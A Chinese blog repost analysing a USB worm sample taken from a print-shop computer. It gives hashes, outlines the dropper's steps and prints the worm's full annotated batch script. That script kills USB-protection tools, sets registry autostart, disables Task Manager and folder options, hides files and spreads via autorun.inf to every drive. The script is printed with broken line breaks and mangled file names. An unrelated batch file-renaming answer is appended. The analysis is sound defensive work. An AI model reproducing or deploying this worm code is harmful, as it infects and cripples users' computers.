bat 调用class文件_蠕虫病毒分析--强大的bat

0.前言

打印店是个好地方,里面有很多野生的皮卡丘等着我们去捕捉。

本次抓到的样本就是从打印店抓到的,样本“驯化”难度一颗星。

1.样本信息

869d603132ceccd5827870820c9ae609.png

MD5:3fc395746c1c8afe87a4594376cd2b2e

SHA-1:f183347e8884fac4168d9b47ff51c0e963731ed0

File Size:69.5 KB

VT First Submission:2016-03-20 04:41:13

2.样本行为

感染C盘~N盘所有盘的根目录,隐藏根目录下的文件夹,并生成同名的病毒文件,禁用“文件夹和搜索选项”:

82341a9064e64f74034b73ee1e845d0a.png
c0889498c26cb52aea9f0bd19d08b700.png

3.详细分析3.1 exe分析

exe部分比较简单,IDA+OD+Process Monitor分析起来很轻松。

exe程序的流程如下:

①初始化,生成bat代码数据;

②调用GetTempFileNameA生成一个临时文件,本次调试中生成~8D69.tmp;

③取该临时文件的文件名,生成bat文件:~8D69.bat;

④调用WriteFile,将bat代码数据写入~8D69.bat;

91efed54e21d937227d29eed57beed80.png

⑤调用SetFileAttributes,设置~8D69.bat隐藏属性

⑥调用CreateProcessA,运行~8D69.bat

6b0d476becae47606d98a8acc2a12b50.png

⑦调用DeleteFile删除~8D69.bat文件;

⑧ExitProcess;

3.2 bat脚本分析

在分析bat脚本前,先补充一些知识点。

① explorer.exe "demo" 打开名为“demo”的文件夹

②假设文件为C:Documents and Settingsjinsun桌面ParseSinglePkgs.bat,则这个bat脚本中的一些扩展变量的含义:

扩展变量 含义

%0 C:Documents and Settingsjinsun桌面ParseSinglePkgs.bat

%~dp0 C:Documents and Settingsjinsun桌面

%cd% C:Documents and Settingsjinsun桌面

%~nx0 ParseSinglePkgs.bat

%~n0 ParseSinglePkgs

%~x0 .bat

::********************************************************************************@shift@echo off::关闭 shift位移和echo功能if exist "%~n0" (explorer.exe "%~n0"&goto a)::打开文件同名文件夹cd /d "%~dp0"if /i "%cd%"=="%~d0" (explorer.exe "%~d0")::如果不存在,判断路径,打开所在盘:aset w=%systemroot%system32Driversif not exist %w%甥䉓湉fo.com (attrib -s -h %0© %0 %w%甥䉓湉fo.com)::system32Drivers路径下如果不存在USBInfo.com文件,则创建该文件::使用Attrib +s +a +h +r命令就是把原本的文件增加了系统文件属性、隐藏文件属性,并拷贝自身%w%甥䉓湉fo.comif /i not "%cd%"=="%w%" (goto end)::在不区分变量的大小写时加/i,原文件就在%w%路径下,则进入end:dtaskkill /f /im usbmon.exe /im U盘病毒免疫器.exe /im USBCleaner.exe /im mmc.exe /im regedit.exe::关闭防病毒进程,主要是usb防护if not exist "%userprofile%「开始」菜单程序启动QQ.com" (copy %w%甥䉓湉fo.com "%userprofile%「开始」菜单程序启动QQ.com" )::将自身拷贝成QQ.comif exist %w%Driver.sys exitif not exist "%systemroot%system32ScreenSave.scr" (copy "%w%甥䉓湉fo.com" "%systemroot%system32ScreenSave.scr")::拷贝自身%systemroot%system32ScreenSave.scrif not exist "%w%甥䉓湉fo.sy_" (call:reg>%w%甥䉓湉fo.sy_)::调用reg,并生成文件USBInfo.sy_,这是个注册表文件,之后可以注册if not exist "%w%甥䉓瑳or.vbe" (call:slp>%w%甥䉓瑳or.vbe)::调用slp,并生成文件USBstor.vbeif not exist "%w%甥䉓湉fo.vbe" (call:vbe>%w%甥䉓湉fo.vbe)::调用vbe,并生成文件USBInfo.vbeif not exist "%w%甥䉓祓s.vbe" (call:slp2>%w%甥䉓祓s.vbe)::调用slp2,并生成文件USBSys.vbegoto 1:endif not exist "%w%甥䉓瑓or.vbe" (call:slp>"%w%甥䉓瑓or.vbe")if exist "%w%Driver.sys" (del /a /f /q "%w%Driver.sys")if not exist "%w%Driver.sys" (echo.Driver>"%w%Driver.sys"&%w%甥䉓瑓or.vbe)if exist "%w%Driver.sys" (del /a /f /q "%w%Driver.sys")if not exist "%w%甥䉓湉fo.vbe" (call:vbe>"%w%甥䉓湉fo.vbe")"%w%甥䉓湉fo.vbe"exit:vbe::运行USBInfo.comecho.createobject("wscript.shell").run "%w%甥䉓湉fo.com"goto :eof:slp::延时echo.wscript.sleep 6000goto :eof:slp2::延时 echo.wscript.sleep 400goto :eof:inf::inf,自启动,autorun.inf文件echo.[AutoRun]echo.icon=%systemroot%system32shell32.dll,7echo.label=本地磁盘echo.open=echo.echo.shellopen=打开(O)echo.shellopenCommand=文件夹.exeecho.shellopenDefault=1goto :eof:regecho.Windows Registry Editor Version 5.00echo.echo.[HKEY_CURRENT_USERControl PanelDesktop]echo."ScreenSaveTimeOut"="60"::屏幕保护的延时秒echo."SCRNSAVE.EXE"="C:WINDOWSsystem32ScreenSave.scr"::屏保运行文件echo.echo.[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]echo."@"="c:windowssystem32Drivers甥䉓湉fo.com"::开机启动echo.echo."@"="c:windowssystem32Drivers甥䉓湉fo.com"::开机一次性启动echo.echo."@"="c:windowssystem32Drivers甥䉓湉fo.com"::开机一次性启动echo.echo.[HKEY_CURRENT_USERSoftWareMicrosoftWindowsCurrentVersionPoliciesSystem]echo."DisableTaskmgr"=dword:00000001::禁用任务管理器echo.echo.[HKEY_CURRENT_USERSoftWareMicrosoftWindowsCurrentVersionPoliciesExplorer]echo."NoRun"=dword:00000001echo."NoFolderOptions"=dword:00000001::禁用运行功能、禁用“文件夹和搜索选项”echo.echo.[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]echo."HideFileExt"=dword:00000001echo."ShowSuperHidden"=dword:00000000echo."Hidden"=dword:00000000::设置文件夹隐藏,无法取消隐藏受保护的操作系统文件echo.echo.[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL]echo."Checkedvalue"=dword:00000000::无法通过文件夹选项修改显示隐藏文件goto :eof:1::注册,USBInfo.sy_ 这个文件regedit /s %w%甥䉓湉fo.sy_%w%甥䉓瑓or.vbecdcall:sd:call:sif exist e: (goto e)::遍历磁盘,从E盘到n盘,最后是c盘goto ff:ee:call:s:ffif exist f: (goto f)goto gg:ff:call:s:ggif exist g: (goto g)goto hh:gg:call:s:hhif exist h: (goto h)goto ii:hh:call:s:iiif exist i: (goto i)goto jj:ii:call:s:jjif exist j: (goto j)goto kk:jj:call:s:kkif exist k: (goto k)goto ll:kk:call:s:llif exist l: (goto l)goto mm:ll:call:s:mmif exist m: (goto m)goto nn:mm:call:s:nnif exist n: (goto n)goto o:nn:call:s: oc:cd %w%goto d:s%w%甥䉓祓s.vbeif not exist 文件夹.exe (copy %w%甥䉓湉fo.com 文件夹.exe)::拷贝 文件夹.exeattrib +a +r +s +h 文件夹.exe::设置文件属性,文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。if exist autorun.inf (eCho.y|cacls autorun.inf /p everyone:f::echo y|cacls c:autorun.inf /p everyone:f::用通道符号|,把前面的命令执行结果信息发送到下个命令处理。::也就是前面的echo y执行结果为y,发送到下个命令自动确认。。cacls修改文件的访问控制表(ACL)rd autorun.inf /s /q&del /f /a /q autorun.inf)::rd(remove directory)删除目录命令if not exist autorun.inf (call:inf>autorun.inf&attrib +a +r +s +h autorun.inf)::不存在 autorun.inf,则生成这个文件if exist desktop.ini del /f /a /q desktop.inidir /a:d /b>desktop.inifor /f "usebackq tokens=*" %%i in (desktop.ini) do if not exist "%%i.exe" (copy %w%甥䉓湉fo.com "%%i.exe"&attrib +s +h "%%i")::desktop.ini中的每一个文件,创建USBInfo.comdel /f /a /q desktop.iniattrib +a +r +s +h "recycler.exe"attrib +a +r +s +h "system volume information.exe"::********************************************************************************四、总结这个病毒还是很简单的,虽然VT上第一次上传时间是2016年,但感觉这么玩的病毒,应该是十年前的。本文作者:icq5f7a075d,转载自:https://bbs.ichunqiu.com/thread-29574-1-1.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
您好,可以使用批处理脚本(bat)来批量修改文件文件夹的名称,也可以修改文件内容。以下是修改文件文件夹名称的示例脚本: ``` @echo off setlocal enabledelayedexpansion set "source_folder=C:\path\to\source\folder" set "target_folder=C:\path\to\target\folder" for /d %%i in ("%source_folder%\*") do ( set "folder_name=%%~nxi" set "new_name=!folder_name:old_text=new_text!" ren "%%i" "!new_name!" ) for %%i in ("%source_folder%\*") do ( set "file_name=%%~ni" set "new_name=!file_name:old_text=new_text!%%~xi" ren "%%i" "!new_name!" ) ``` 在上面的脚本中,`source_folder`和`target_folder`是需要修改的文件夹的路径和目标文件夹的路径。`old_text`和`new_text`是需要替换的文本和替换后的文本。在循环中,使用`set`命令和`enabledelayedexpansion`选项来修改文件文件夹的名称。 如果您需要修改文件内容,可以使用以下命令: ``` @echo off setlocal enabledelayedexpansion set "source_folder=C:\path\to\source\folder" set "target_folder=C:\path\to\target\folder" for %%i in ("%source_folder%\*") do ( set "file_name=%%~ni" set "new_name=!file_name:old_text=new_text!%%~xi" copy "%%i" "%target_folder%\!new_name!" > nul ( for /f "usebackq delims=" %%j in ("%%i") do ( set "line=%%j" set "new_line=!line:old_text=new_text!" echo !new_line!>>"%target_folder%\!new_name!" ) ) del "%%i" ) ``` 在上面的脚本中,使用`copy`命令将原始文件复制到目标文件夹中,并使用`for /f`循环读取每个文件的每一行。在循环中,使用`set`命令和`enabledelayedexpansion`选项来修改每一行的文本,并使用`echo`命令将修改后的行写入目标文件中。最后,使用`del`命令删除原始文件

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值